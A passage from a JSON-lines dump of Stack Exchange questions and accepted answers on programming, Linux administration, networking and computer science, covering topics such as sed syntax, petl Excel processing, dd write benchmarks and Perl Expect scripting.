givenDeleteRequest_whenUserExists_then204NoContent() throws Exception{        mockMvc.perform(delete(/customers/1))                .andExpect(status().isNoContent());    }}Is my approach separating different results to different methods correct? I could do more compressed assertions checking for exceptions and result body and result status in one method. Isnt it better approach?To run the tests I'm using my main database, Is it possible to somehow mock my database so that I could have full controll during the test what's in the database and did not have to use the main db? "  , "title": "Testing controller class using mockito mvc"  , "tags": "java;beginner;unit testing;mocks"  } 
{  "id": "_unix.122270"  , "question": "till now I defined just image files.But I have a logical partition and I'd like to share it by iscsi.Is it possible or I am limited to single files?"  , "title": "Is it possible to set a whole hard disk(partition) as iscsi target?"  , "tags": "iscsi"  } 
{  "id": "_unix.323948"  , "question": "Could someone please explain this code that deletes all leading blank lines at the top of a file:sed '/./,$!d' fileI understand that it is a regex, matching only the first character, but then don't understand the ,$!d part. Is this what it's being replaced by, or are they options for the match?Is this even a search command if it does not start with 's/'...?Sorry this is a bad question, I just don't know where to look. (and so, how would you recommend me finding the answer to this myself in the future?)Code source (from another question)"  , "title": "Sed Explanation: sed '/./,$!d' file"  , "tags": "sed"  , "accepted_answer": "sed '/./,$!d'From the first line which contains a character (blank or not) to the end of the file - negate (which then means from the beginning of the file to the line before the first line which contains a character) - delete.This deletes leading empty lines, not blank lines. To delete leading blank lines (lines which are empty or contain only whitespace characters) say '/\\S/,$!d'.Read Sed, an introduction and tutorial at http://www.grymoire.com/Unix/Sed.html. Then read the reference manual at https://www.gnu.org/software/sed/manual/sed.html.In short:The general form of a sed command is [selector][negation]command[flags] (square brackets indicate optional parts)The selector, if present, selects the lines on which the command appliesIf ! appears it negates the selector, that is, makes the command apply to the lines which do not match the selector.If no selector is present the command applies to all lines.A selector can select one line (by number) or a set of lines (by regular expression), or the lines between a start line (by number or regular expression) and an end line (by number or regular expression).In our case the selector is /./,$ which means from the first line found which matches /./ (that is, contains at least one character) to the end of the file ($ is used as a line number and means the last line in the file).It is negated by !, so that the command applies to the lines from the beginning of the file to the line before the first line matching /./.The command d deletes the selected lines."  } 
{  "id": "_unix.291186"  , "question": "Is there any such essential process launched in the user space...  ALso should take care of headless servers "  , "title": "Is there a process that is always running that uniquely identifiers a user in linux."  , "tags": "linux"  } 
{  "id": "_webmaster.2232"  , "question": "I'm planning what is essentially a business card website for myself, and have been looking at domains. My primary site (a .com) is for my blog and portfolio and the like, but I want a separate site for basic information, contact, networks, and the like.In this light, there are a few TLDs that seem to be suitable: .info, .me, and .name.I'd appreciate remarks on the differences between these options, and suggestion on which would be suitable for my need."  , "title": "Which TLD would be suited to a personal site?"  , "tags": "domains;top level domains"  , "accepted_answer": ".infoThe name is derived from information  indicating that the domain is intended  for informative Internet resources,  although registration requirements do  not prescribe any theme orientation..meYou're in Montenegro? Seriously, I am not a fan of using other country codes for other uses. I don't like things whose legal jurisdiction is not my own..nameIt is intended for use by individuals  for representation of their personal  names, nicknames, screen names,  pseudonyms, or other types of  identification labels.I think .name is the most appropriate one to use.That said, the one that's easiest to remember and communicate to people is always going to be best. I like .com and .org best for personal sites.But to each his or her own. The original intent of TLDs has been subverted over the years, people do as they please. Use the one you like the best."  } 
{  "id": "_webapps.50338"  , "question": "How do I search for websites that start with dl on Google?For example, returned sites search will be likedl.webaddr.comdl.something.comdl.others.com"  , "title": "Search for specific text at the start of the URL in Google search"  , "tags": "google search"  } 
{  "id": "_cs.64883"  , "question": "I am having some trouble with turning the following mathematical expressions into as balanced binary trees as possible.This is what I have done so far, but is there a way to make them even more balanced?$(  3)(^2 +   1)$$4(  1)(  2)(  3)$"  , "title": "Making mathematical expressions as balanced trees as possible"  , "tags": "optimization;trees;arithmetic"  , "accepted_answer": "Since these are mathematical expressions, you can bracket the second one as (4 (x-1)) ((y-2) (z-3)) to make it more balanced. In many programming languages this wouldn't be allowed, because with floating point arithmetic, the order of operations will often change the result. Can't see any way to improve the first one. "  } 
{  "id": "_unix.109596"  , "question": "I have a strange problem with a Linux router.The setup is like this:host1   ===  Linux router   ===   host2a.b.c.d --- a.b.c.e/g.h.i.j --- g.i.h.kEvery five minutes host1 tries to reach host2.If host2 is down, the Linux router makes an ARP request for a.b.c.d onthe left network with address g.h.i.j (i.e. from network on the right side).After receiving the MAC address from host1 the router sends anICMP-unreachable packet with g.h.i.j as sender address.If host2 is up, everything is fine.The router makes the ARP request with its address a.b.c.e.On the router I have$ uname -aLinux pfc 3.6.9-voyage #1 SMP Tue Dec 11 09:53:27 HKT 2012 i586 GNU/LinuxThere is no proxy_arp involved.The problem is: in my eyes the route should not use the IP address from the right hand network for the ARP request. Or am I missing something here?"  , "title": "ARP request with wrong IP address"  , "tags": "linux;router;arp"  } 
{  "id": "_webapps.104367"  , "question": "I would like to add icons to individual reports in a reports module in CommCare. Is it possible to add icons to individual reports within a report module? "  , "title": "Is it possible to add icons to individual reports in a report module in CommCare?"  , "tags": "commcare"  } 
{  "id": "_webmaster.83422"  , "question": "A client has moved their website to another provider who does not support secure (HTTPS) browsing. The previous site was served over HTTPS and sent HSTS headers and was included on the Chrome HSTS preload list, so many browsers automatically attempt a redirect to HTTPS, resulting in an error.Chromium Issue 467486: Remove website from HSTS list highlights one specific website that required a whole discussion with developers to be removed. Is raising an issue to the Chromium team the only method to request removal?"  , "title": "Removal from HSTS preload list?"  , "tags": "https;hsts"  } 
{  "id": "_webapps.104326"  , "question": "Is it possible to specify multiple languages for the Display Text Field portion of a select option in a multiple choice lookup table question?  Note, I'm speaking specifically about the Choice definition, not the label for the question itself which does support multi-language already."  , "title": "Multi-language support for Multiple Choice Lookup Table questions"  , "tags": "commcare"  , "accepted_answer": "You can use an attribute in the lookup table and a bit of a hack to get the current app locale ID to accomplish this.There's a writeup on it here that covers it pretty well: https://confluence.dimagi.com/display/commcarepublic/Using+Lookup+Tables+with+Multiple+Languages"  } 
{  "id": "_cs.77968"  , "question": "I read this answer below and got into another question.Why is the consensus number for test-and-set, 2?I also read that read/write registers have consensus number 1.But I see that in test&set (also in compare&swap) by using read write registers alone, we still arrive at consensus.I think I am missing something very fundamental here. Need help.The protocol in the accepted answer of the link is as mentioned belowSuppose that we have two threads 0 and 1 that need to reach consensus.  We could do this by letting each thread follow the consensus protocol  below:Write your proposed value to A[t], where t is the thread id and A is an array of size 2Perform the test-and-set instruction on some register R, with R initialised to 0. If the return value is 0, you were first: return A[t]. Otherwise, you were second: return A[|t1|]."  , "title": "Consensus anomaly about read-write registers and test&set"  , "tags": "distributed systems;consensus"  , "accepted_answer": "Consensus number and consensus hierarchy are defined in the classic paper Wait-Free Synchronization by Maurice Herlihy, 1991.Note the keyword: wait-free.Since you did not give the algorithms for test&set using read/write registers only, I guess that they are not wait-free. (They may be lock-free instead.)Added: After the discussions with the OP in the comments, I realize that the OP has not fully understood the difference between atomic test&set registers and atomic read/write registers. He/she thought that the protocol given in the post uses read/write registers only. In fact, it uses test&set registers/operations/instructions in the second step. A test&set register supports the test&set operation, which is a combination of test and set that cannot be interrupted. See this wiki for more details."  } 
{  "id": "_webapps.24796"  , "question": "I would like to some people to be able to see some of the photos I'm tagged in, but not all of them.  Is this possible?I know I can make a list of people that won't be able to see any of the photos I'm tagged in, but is there a way to do this on a per-photo basis?"  , "title": "On Facebook, is there any way to restrict access to individual photos I'm tagged in?"  , "tags": "facebook;photos"  } 
{  "id": "_codereview.1635"  , "question": "Given the following exercise:Exercise 2.5Show that we can  represent pairs of nonnegative  integers using only numbers and  arithmetic operations if we represent  the pair a and b as the integer that  is the product 2^a * 3^b. Give the  corresponding definitions of the  procedures cons, car, and cdr.I wrote the following:(define (cons a b) (* (expt 2 a)                       (expt 3 b)))(define (car x)  (if (= 0 (remainder x 3))       (car (/ x 3))      (/ (log x)         (log 2))))(define (cdr x)  (if (= 0 (remainder x 2))      (cdr (/ x 2))      (/ (log x)         (log 3))))What do you think?"  , "title": "Represent pairs of nonnegative integers using 2^a * 3^b"  , "tags": "lisp;scheme;sicp"  , "accepted_answer": "Your definition of cons is perfect.Your definitions of car and cdr contain the log operation, which is a floating-point operation.  Not only are its results imprecise, it is not needed to solve this problem.  Furthermore, notice that the two definitions look very similar to each other.  Whenever one sees a repeated pattern, one ought to consider factoring it out.To address the above two concerns, one may write a helper function, log-x, which is a specialized log function that takes integer parameters x and n and returns integer p such that x ^ p * y = n, where x does not divide y.  Then, car and cdr may call log-x, with x being 2 and 3 respectively.In the following implementation, I have renamed the definitions so they do not conflict with primitives.(define (cons-np a b)  (* (expt 2 a) (expt 3 b)))(define (log-x x n)  (if (= (remainder n x) 0)      (+ 1 (log-x x (/ n x)))      0))(define (car-np np)  (log-x 2 np))(define (cdr-np np)  (log-x 3 np))"  } 
{  "id": "_unix.377595"  , "question": "I set up an Elementary Linux laptop for my kids to play Minecraft on..  only to find that it cannot ping or otherwise access any of the hosts on my local network.  I can access stuff beyond the gateway without issues.Output from ipconfig:root@nevill:~# ifconfig eno1      Link encap:Ethernet  HWaddr 00:26:b9:f4:87:06            UP BROADCAST MULTICAST  MTU:1500  Metric:1          RX packets:0 errors:0 dropped:0 overruns:0 frame:0          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0          collisions:0 txqueuelen:1000           RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)          Interrupt:20 Memory:e9600000-e9620000 lo        Link encap:Local Loopback            inet addr:127.0.0.1  Mask:255.0.0.0          inet6 addr: ::1/128 Scope:Host          UP LOOPBACK RUNNING  MTU:65536  Metric:1          RX packets:6923 errors:0 dropped:0 overruns:0 frame:0          TX packets:6923 errors:0 dropped:0 overruns:0 carrier:0          collisions:0 txqueuelen:1           RX bytes:721205 (721.2 KB)  TX bytes:721205 (721.2 KB)wlp3s0    Link encap:Ethernet  HWaddr 5c:ac:4c:97:03:da            inet addr:192.168.1.84  Bcast:192.168.1.255  Mask:255.255.255.0          inet6 addr: fe80::c95a:b72b:7d45:820d/64 Scope:Link          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1          RX packets:6015890 errors:0 dropped:0 overruns:0 frame:2040510          TX packets:2005419 errors:0 dropped:0 overruns:0 carrier:0          collisions:0 txqueuelen:1000           RX bytes:1149192406 (1.1 GB)  TX bytes:161487281 (161.4 MB)          Interrupt:17 Output from arp:root@nevill:~# arpAddress                  HWtype  HWaddress           Flags Mask            Iface192.168.1.254            ether   4c:8b:30:12:3b:40   C                     wlp3s0192.168.1.68             ether   4c:8b:30:a9:f0:80   C                     wlp3s0192.168.1.100                    (incomplete)                              wlp3s0UFW is off, as far as I can tell:root@nevill:~# ufw statusStatus: inactiveRouting table looks normal to me, but it doesn't really align with what I see on my Windows' hosts:Destination     Gateway         Genmask         Flags Metric Ref    Use Ifacedefault         192.168.1.254   0.0.0.0         UG    600    0        0 wlp3s0192.168.1.0     *               255.255.255.0   U     600    0        0 wlp3s0As best as I can understand, the incomplete entry in arp results tells me that the remote device is not responding..  I know this isn't the case, since the other hosts on the same network (same router, same wireless interface, etc) can access the host in question.I can ping the gateway (192.168.1.254), and hosts beyond the gateway, but nothing that's on the local network.I have not tested if this works with a wired connection..  that's in the ceiling somewhere :PHelp please? :)Thanks!"  , "title": "Ubuntu-based OS not able to access hosts on the local network, but can access external hosts"  , "tags": "linux"  } 
{  "id": "_unix.28473"  , "question": "About a week ago my system began to freeze (deadlock, only manual shutdown with laptop button helped) from time to time.The frequency of deadlock is increasing. Today it was about 10 deadlocks with only browsing the internet and terminal emulator and vim. It usually happens when loading new url and then all the system is dead. It's very annoying for me as it happens more often.My system is Lubuntu 11.10 with xmonad window manager.Could you help me to find the cause of this problem? Are there some logs associated with deadlocks? Could it be hardware problem?(the system was dead twice while writing this question too)thank you"  , "title": "System freezes when browsing internet"  , "tags": "ubuntu;logs;hardware;freeze;deadlock"  } 
{  "id": "_webapps.5545"  , "question": "Is there a way (at the Facebook end, not via filtering my end) to opt-out of receiving notifications every time someone else adds a comment to a thread I am involved in?"  , "title": "Opt out of Facebook comment updates"  , "tags": "facebook"  , "accepted_answer": "Click on the Account drop down menu (upper right hand corner of the page) then click Account Settings and go to the Notifications tab. Go through the list of notifications and deselect any notification you don't want. Fifteen out of the sixty-six notifications represented on this page are triggered by comments.To opt-out of notifications for treads you're involved in, deselect the six notifications that start with: Comments after me..."  } 
{  "id": "_datascience.777"  , "question": "New to the Data Science forum, and first poster here!This may be kind of a specific question (hopefully not too much so), but one I'd imagine others might be interested in.I'm looking for a way to basically query GitHub with something like this:Give me a collection of all of the public repositories that have more than 10 stars, atleast two forks, and more than three committers.The result could take any viable form: a JSON data dump, a URL to the web page, etc. It more than likely will consist of information from 10,000 repos or something large.Is this sort of thing possible using the API or some other pre-built way, or am I going to have to build out my own custom solution where I try to scrape every page? If so, how feasible is this and how might I approach it?"  , "title": "Getting GitHub repository information by different criteria"  , "tags": "bigdata;data mining;python;dataset"  , "accepted_answer": "My limited understanding, based on brief browsing GitHub API documentation, is that currently there is NO single API request that supports all your listed criteria at once. However, I think that you could use the following sequence in order to achieve the goal from your example (at least, I would use this approach):1) Request information on all public repositories (API returns summary representations only): https://developer.github.com/v3/repos/#list-all-public-repositories;2) Loop through the list of all public repositories retrieved in step 1, requesting individual resources, and save it as new (detailed) list (this returns detailed representations, in other words, all attributes): https://developer.github.com/v3/repos/#get;3) Loop through the detailed list of all repositories, filtering corresponding fields by your criteria. For your example request, you'd be interested in the following attributes of the parent object: stargazers_count, forks_count. In order to filter the repositories by number of committers, you could use a separate API: https://developer.github.com/v3/repos/#list-contributors.Updates or comments from people more familiar with GitHub API are welcome!"  } 
{  "id": "_cstheory.16226"  , "question": "Suppose a graph with node weights only (no edge weights). For a given source-sink pair, how can I find a path with the minimal sum of node weights? Does this problem have a name? Is it possible to reformulate this to a shortest-path problem?If both nodes and edges are weighted, is it still possible to find a min-weight path?"  , "title": "Finding a minimum node weight path"  , "tags": "graph algorithms;shortest path"  , "accepted_answer": "You can treat this as a directed graph problem, where the weights of all edges coming into a node are equal to that node's weight.If the edges are weighted too, add the node's weight and the edge's weight together to find the incoming edge's weight in the directed graph."  } 
{  "id": "_unix.139010"  , "question": "I am new to shell scripting. When I want to run a bunch of Linux commands I do fine, but how do I give user input when another script is called and asks for input while it runs. Here is the situation where I am stuck. I install the same server setup in classrooms frequently so I want to completely automate it.#!/bin/bashsudo apt-get install python -ysudo apt-get install python-m2crypto -ysudo apt-get install git-core -ygit clone https://github.com/learningequality/ka-lite.gitcd ka-lite/./setup_linux.sh#the script works until here#now, while the setup script is running, the following needs to happen#I need to press enter twice#enter the password twice#press enter twice#press y and then enter#here are some things I tried, none of them workedsend yes\\nsend yes\\n#echo | <Press [enter] to continue...> #enter#echo | <return> #enterPassword8 #passwordPassword8 #passwordecho | <yourfinecommandhere> #enterecho | <return> #entery"  , "title": "How to simulate user interaction when running another script"  , "tags": "shell;scripting"  , "accepted_answer": "You can use TCL Expect or Perl::Expect.After trying them both I prefer the later because I am more familiar with Perl.This is a snipped of a script that I use to ssh into several test servers (not recommended for sensitive production servers):if( defined $password ) {  $exp->expect(    $timeout,    [   qr/no\\)\\?\\s+$/i => sub {        my $self = shift;        $self->send(yes\\n);        exp_continue;      }    ],    [   qr/password:\\s+$/i => sub {        my $self = shift;        $self->send($password\\n);        exp_continue;      }    ],    '-re',    qr/~/,    #' wait for shell prompt, then exit expect  );}You can look at the full source here: https://github.com/DavidGamba/bin/blob/master/cssh"  } 
{  "id": "_unix.21075"  , "question": "I know how to set Super_L (WinKey) buttonto open the Menu.gconftool-2 --set /apps/metacity/global_keybindings/panel_main_menu --type string Super_LCurrently, in order to close that menu, I am having to mouse click outside the menu area. I need to use the Super_L as a toggle button—pressing one time would open and pressing second time would close.So what I need now is to be able to close it when pressing it second time?"  , "title": "GNOME: Use WinKey (Super_L) as a main menu toggle"  , "tags": "gnome;keyboard"  , "accepted_answer": "(Edit) After having re-read the post and doing a bit more research into the subject, I found out my suggestion is a bit... stupid. But, I'll leave it here in case anyone finds inspiration from it in a similar venture.Try writing as small script called toggle.sh, put it somewhere.if `panel_is_open`    close_panelelse    open_panelorif [ `cat panel` == on ]; then    close_panel    echo 'off' > panelelse    open_panel    echo 'on' > panelfiSomething along those linesThen after --set use /path/to/toggle.sh"  } 
{  "id": "_softwareengineering.273469"  , "question": "I want my program to:read some input lines from CSV filewrite the output lines to plain string fileread some input from the same file in (2) and compare it to some calculated dataI want to consider these abstraction levels:create Dal interface with CRUD operationsimplement Dal<T1>, Dal<T2>, Dal<T3>create FileHandler interface with read and save operationsimplement CsvFileHandler, StringFileHandlerAnd then:Dal<T1> will implement read with a member of CsvFileHandlerDal<T2> will implement read and write with a member of StringFileHandlerDal<T3> will implement write with a member of StringFileHandlerIs it OK that Dal<T1> and Dal<T3> really implement Dal only partially (not all CRUD). Or should I choose other abstractions?I'm using guice DI and I need to differentiate Dal<T1> and Dal<T2> even though they both read / write type String. So I created a dummy different classes for T1, T2.Do you think I use too much abstraction? Are FileHandler and Dal overlapping?Any other way to differentiate Guice injection rather than create dummyTypes?"  , "title": "Do my dal and fileHandler interfaces overlap?"  , "tags": "java;interfaces;persistence;google guice"  } 
{  "id": "_codereview.128232"  , "question": "I've got a simple Excel Data Manipulation Script to match one of my daily tasks, written in python 3. IntroLet's assume that I have 3 excel files: main.xlsx, 1.xlsx and 2.xlsx. In all of them I have a column named serial numbers. I have to:lookup for all serial numbers in 1.xlsx and 2.xlsx and verify if they are in main.xlsx.If a serial number is find:on the last column of main.xlsx, on the same row with the serial number that was find, write OK + name_of_the_file_in which_it_was_found. Else, write NOK. At the same time, write in 1.xlsx and 2.xlsx ok or nok on the last column if the serial number was found or not.Now, my script is simply creating new files with the last column appended (instead of appending directly to the same file), which is ok (but if you guys have a better method, shout it). What I'm looking for, is a way of making this as optimized as possible. I'm not looking for PEP8 comments as I'm aware of them, but I'll handle this part when I'll have this as optimized / improved as possible.Code:import petlmain = petl.fromxlsx('main.xlsx')one = petl.fromxlsx('1.xlsx', row_offset=1)two = petl.fromxlsx('2.xlsx')non_serial_rows = petl.select(main, lambda rec: rec['serial number'] is None)serial_rows = petl.select(main, lambda rec: rec['serial number'] is not None)main_join_one = petl.join(serial_rows, petl.cut(one, ['serial number']), key='serial number')main_join_one_file = petl.addfield(main_join_one, 'file', 'ok, 1.xlsx')main_join_two = petl.join(serial_rows, petl.cut(two, ['serial number']), key='serial number')main_join_two_file = petl.addfield(main_join_two, 'file', 'ok, 2.xlsx')stacked_joins = petl.stack(main_join_two_file, main_join_one_file)nok_rows = petl.antijoin(serial_rows, petl.cut(stacked_joins, ['serial number']), key='serial number')nok_rows = petl.addfield(nok_rows, 'file', 'NOK')output_main = petl.stack(stacked_joins, non_serial_rows, nok_rows)main_final = output_maindef main_compare(table):    non_serial_rows = petl.select(table, lambda rec: rec['serial number'] is None)    serial_rows = petl.select(table, lambda rec: rec['serial number'] is not None)    ok_rows = petl.join(serial_rows, petl.cut(main, ['serial number']), key='serial number')    ok_rows = petl.addfield(ok_rows, 'file', 'OK')    nok_rows = petl.antijoin(serial_rows, petl.cut(main, ['serial number']), key='serial number')    nok_rows = petl.addfield(nok_rows, 'file', 'NOK')    return petl.stack(ok_rows, nok_rows, non_serial_rows)one_final = main_compare(one)two_final = main_compare(two)petl.toxlsx(main_final, 'mainNew.xlsx')petl.toxlsx(one_final, '1New.xlsx')petl.toxlsx(two_final, '2New.xlsx')Sample files, can be downloaded from here. (for those who have time to play a lil' bit with the code)."  , "title": "Excel Data Manipulation - parse, match and create"  , "tags": "python;performance;python 3.x;excel"  , "accepted_answer": "From a practical perspective, you should use object-oriented style for calling your transformations. It will reduce the amount of intermediate variables as you will be able to chain calls.From a conceptual perspective you want to apply the same transformations on all 3 files, there is not much differences whether you do it from n.xlsx to main.xlsx or the other way around. You need to:Extract serial numbers from a file;Associate them to a message (filename when used to fill main.xlsx or OK when used to fill n.xlsx);Add a column on an other file whose matching rows contains the messages and others contains NOK.Instead of that you:separate the row into categories (matching, not matching, no serial numbers);add a column to these categories depending on their kind;concatenate back those categories to get the resulting file out of them.The problems you run into doing that are that, for one you change the order of the rows by filtering and stacking back (but that doesn't seem to be an issue), and for two your filtering rules are both clumsy and iterating over the input more than once.The following approach iterates over each file exactly twice (one to extract the serial number/message pairs and one to add the required column) and uses functions to provide a generic approach that can easily be used to handle more files:import petlSERIAL_COLUMN = 'serial_number'def map_serial_to_message(table, message='OK'):    return (table            .selectisnot(SERIAL_COLUMN, None)            .cut(SERIAL_COLUMN)            .addfield('file', message))def create_new_column(table, allowed_serial, default_message='NOK'):    return table.leftjoin(            allowed_serial,            key=SERIAL_COLUMN,            missing=default_message)if __name__ == '__main__':    main = petl.fromxlsx('main.xlsx')    one = petl.fromxlsx('1.xlsx', row_offset=1)    two = petl.fromxlsx('2.xlsx')    files_serial = petl.stack(        map_serial_to_message(one, 'OK, 1.xlsx'),        map_serial_to_message(two, 'OK, 2.xlsx'),        # other files if need be    )    main_serial = map_serial_to_message(main)    petl.toxlsx(create_new_column(main, files_serial), 'mainNew.xlsx')    petl.toxlsx(create_new_column(one, main_serial), '1New.xlsx')    petl.toxlsx(create_new_column(two, main_serial), '2New.xlsx')As regard to writing to the original file, you could look into creating the files in memory first and then, once they all are iterated over enough time, write them back. But if files are big, you might be limited by the amount of available memory.This is untested but it could look like:import petlSERIAL_COLUMN = 'serial_number'def map_serial_to_message(table, message='OK'):    return (table            .selectisnot(SERIAL_COLUMN, None)            .cut(SERIAL_COLUMN)            .addfield('file', message))def create_new_column(table, *args, default_message='NOK'):    try:        serials, = args    except ValueError:        serials = petl.stack(*args)    sink = petl.MemorySource()    (table        .leftjoin(serials, key=SERIAL_COLUMN, missing=default_message)        .toxlsx(sink))    return sink.getvalue()def write_to_file(data, filename):    with open(filename, 'wb') as f:        f.write(data)if __name__ == '__main__':    main = petl.fromxlsx('main.xlsx')    one = petl.fromxlsx('1.xlsx', row_offset=1)    two = petl.fromxlsx('2.xlsx')    main_serial = map_serial_to_message(main)    # Warning, these may require large amount of memory    new_main = create_new_column(main,            map_serial_to_message(one, 'OK, 1.xlsx'),            map_serial_to_message(two, 'OK, 2.xlsx'),            # other files if need be    )    new_one = create_new_column(one, main_serial)    new_two = create_new_column(two, main_serial)    # This is important to write after all transformations    write_to_file(new_main, 'main.xlsx')    write_to_file(new_one, '1.xlsx')    write_to_file(new_two, '2.xlsx')I also changed the way to handle stacking serial-messages pairs from n.xlsx to provide a more automatic alternative."  } 
{  "id": "_unix.60375"  , "question": "I have an alix board on which I have installed debian4alix (sqeeze). After using it for a while I noticed that the write performance of the board was pretty low. I ran the following test:dd count=100 bs=1M if=/dev/urandom of=/var/www/cgrid/testThis yielded the following:100+0 records in100+0 records out104857600 bytes (105 MB) copied, 328.903 s, 319 kB/sThis is the same speed I get when running the test on the compact flash card that the OS is installed on or on a flash disk. I had tested the flash disk performance on a linux desktop PC and achieved speeds around 15.3 MB/s using the same tests. My read speed on the alix board is around 9MB/s (tested with hdparm -t)I would like to know if the slow write speeds I am receiving is a result of the operating system ( since it is not running directly off the compact flash card but off a ramdisk) or from the embedded hardware solution being really slow."  , "title": "Alix Board write performance"  , "tags": "debian;performance;embedded;storage"  , "accepted_answer": "I am quite certain the board is slower then desktop in terms hardware. But urandom make it worse.The board is using a 500MHz CPU vs 2-3GHz desktop CPU. With if=/dev/urandom, your test is more about how fast the system can handle urandom. You are comparing CPU performance, not I/O.Additionally, if the board only have 256M of ram, the OS may start swapping when creating 100M ram disk file. If that happen, it will have a big hit on test result. Maybe test with 50M file.Use if=/dev/zeroDon't use if=/dev/urandom. It is a very costly call for this test. Instead use if=/dev/zero.Test 1 - Write 100M to diskFollowing is my test result from a virtual machine, also writing 100M.if=/dev/zerojohn@U64D211:~$ time dd count=100 bs=1M if=/dev/zero of=test100+0 records in100+0 records out104857600 bytes (105 MB) copied, 0.493612 s, 212 MB/sreal    0m0.540suser    0m0.020ssys 0m0.516sif=/dev/urandomjohn@U64D211:~$ rm testjohn@U64D211:~$ time dd count=100 bs=1M if=/dev/urandom of=test100+0 records in100+0 records out104857600 bytes (105 MB) copied, 10.8723 s, 9.6 MB/sreal    0m10.909suser    0m0.004ssys 0m10.893sjohn@U64D211:~$ Test 2 - Write 100M to /dev/nullTo show how costly is urandom, lets write to /dev/null, so no writing to disk.if=/dev/zerojohn@U64D211:~$ time dd count=100 bs=1M if=/dev/zero of=/dev/null100+0 records in100+0 records out104857600 bytes (105 MB) copied, 0.0240906 s, 4.4 GB/sreal    0m0.061suser    0m0.012ssys 0m0.052sif=/dev/urandomjohn@U64D211:~$ time dd count=100 bs=1M if=/dev/urandom of=/dev/null100+0 records in100+0 records out104857600 bytes (105 MB) copied, 10.4979 s, 10.0 MB/sreal    0m10.555suser    0m0.024ssys 0m10.513sSo when writing to /dev/null, almost 99% of time is spent by urandom system call.PS1: VM has 4G of ram.PS2: File caching do/may have affect the test result to some extend, but the difference between the if option is so huge that it is safe to ignore caching factor. And the effect should apply to both cases anyway.PS3: I did not average out the test results. But I did run each multiple times with very similar result."  } 
{  "id": "_softwareengineering.154080"  , "question": "We are crawling and downloading lots of companies' PDFs and trying to pick out the ones that are Annual Reports. Such reports can be downloaded from most companies' investor-relations pages.The PDFs are scanned and the database is populated with, among other things, the:TitleContents (full text)Page countWord countOrientationFirst lineUsing this data we are checking for the obvious phrases such as:Annual reportFinancial statementQuarterly reportInterim reportThen recording the frequency of these phrases and others. So far we have around 350,000 PDFs to scan and a training set of 4,000 documents that have been manually classified as either a report or not.We are experimenting with a number of different approaches including Bayesian classifiers and weighting the different factors available. We are building the classifier in Ruby. My question is: if you were thinking about this problem, where would you start? "  , "title": "How to identify a PDF classification problem?"  , "tags": "algorithms;ruby"  , "accepted_answer": "I think you should match phrase in first few (say 500 words) as normally these report contains information whether they are quarterly or annual in first few pages only(like 1Q2012, FY2012 etc). Along with it you can have words which should not be there in annual report.Much simpler would be to figure out if report is annual or not from the site from where you are downloading this report, so while downloading/crawling only look for this information on the site itself."  } 
{  "id": "_unix.280917"  , "question": "I am running Xubuntu and have several programs automatically starting when the computer powers up. All the programs starting at once is causing me issues with having the programs talk to each other. Instead, I would like to stage the starting of each program with program A starting first, then five seconds later program B starts and so on. How do I do this?"  , "title": "How to delay a program from starting on boot up - Xubuntu"  , "tags": "startup;xubuntu"  , "accepted_answer": "I would implement it like this (probably not an Xubuntu friendly way, but should work):create a startup script which will start all required program, and make that script the only auto-started program with Xubuntu tools.Script can look like this:#!/bin/shprogram1 &sleep 5program2 &sleep 5program3 &Or like this, which will look better if you have multiple programs to launch:#!/bin/shPROGS=(  program1 args  program3  program2  # ...)for prog in ${PROGS[@]}; do  ${prog} &  # no quotes here, because we want to support args  sleep 5done"  } 
{  "id": "_softwareengineering.149970"  , "question": "I feel that I am good at writing code in bits and pieces, but my designs really suck. The question is, how do I improve my designs - and in turn become a better designer?I think schools and colleges do a good job of teaching people how to become good at mathematical problem solving, but let's admit the fact that most applications created at school are generally around 1000 - 2000 lines long, which means that it is mostly an academic exercise which doesn't reflect the complexity of real world software - on the order of a few hundred thousand to millions of lines of code. This is where I believe that even projects like topcoder / project euler also won't be of much help, they might sharpen your mathematical problem solving ability - but you might become an academic programmer; someone who is more interested in the nice, clean stuff, who is utterly un-interested in the day to day mundane and hairy stuff that most application programmers deal with.So my question is how do I improve my design skills? That is, the ability to design small/medium scale applications that will go into a few thousand of lines of code? How can I learn design skills that will help me build a better html editor kit, or some graphics program like gimp?"  , "title": "I can write code... but can't design well. Any suggestions?"  , "tags": "design;skills"  , "accepted_answer": "The only way to become really good at something is to try, fail spectacularly, try again, fail again a little less than before, and over time develop the experience to recognize what causes your failures so that you can manage potential failure situations later on. This is as true of learning to play a musical instrument, drive a car, or earn some serious PWN-age in your favourite first person shooter, as it is of learning any aspect of software development.There are no real shortcuts, but there are things you can do to avoid having problems get out of hand while you are gaining experience. Identify a good mentor. There is nothing better than being able to talk about your issues with someone who has already paid their dues. Guidance is a great way to help fast-track learning.Read, read some more, practice what you've been reading, and repeat for the entire lifetime of your career. I've been doing this stuff for more than 20 years, and I still get a kick out learning something new every day. Learn not just about up front design, but also emergent design, testing, best practices, processes and methodologies. All have varying degrees of impact on how your designs will emerge, take shape, and more importantly, how they last over time.Find time to tinker. Either get involved with a skunkwork project through your workplace, or practice on your own time. This goes hand-in-hand with your reading, by putting your new knowledge into practice, and seeing how such things will work. This is also the stuff that makes for a good discussion with your mentor.Get involved with something technical outside of your workplace. This could be a project, or a forum. Something that will allow you to test out your theories and ideas outside of your immediate circle of peers in order to maintain a fresh perspective on things.Be patient. Recognize that earning experience takes time, and learn to accept that you need to back off for a while in order to learn why and where you have failed.Keep a diary or a blog of your tasks, your thoughts, your failures and your successes.  This isn't strictly necessary, however I have found that it can be of great benefit to you to see how you have developed over time, how your skills have grown and your thoughts have changed.  I come back to my own journals every few months and look at the stuff I wrote 4-5 years ago. It's a real eye-opener discovering just how much I'd learned in that time. It's also a reminder that I got things wrong from time to time. It's a healthy reminder that helps me improve."  } 
{  "id": "_cs.57309"  , "question": "Standard (right) regular grammars have three kinds of rules:A <- A <- aA <- a BThis is OK for a theoretical point of view, but a big inconvenience to be usable in practice. A practical regular grammar should allow us to use commodity operators (|,*,+,?,.,(,)), character sets and group multiple rules in a single one. For example, the following regular grammar describes fractional numbers:start <- digit+ dot digit* | digit* dot digit+digit <- [0-9]dot   <- '.'The question is, what restrictions must be applied to RHS non-terminals to keep this grammars regular (if it is possible at all)?NOTEQ - Why regular grammars instead of regular expressions?A - Regular expressions are OK for simple languages, but they are write-only for more complex ones. On the other hand, well written extended regular grammars are allot more readable and maintainable and allows us to extend them with captures and rule actions easily."  , "title": "Can an (extended) regular grammar have multiple nonterminals in its RHS?"  , "tags": "regular languages;formal grammars;regular expressions"  } 
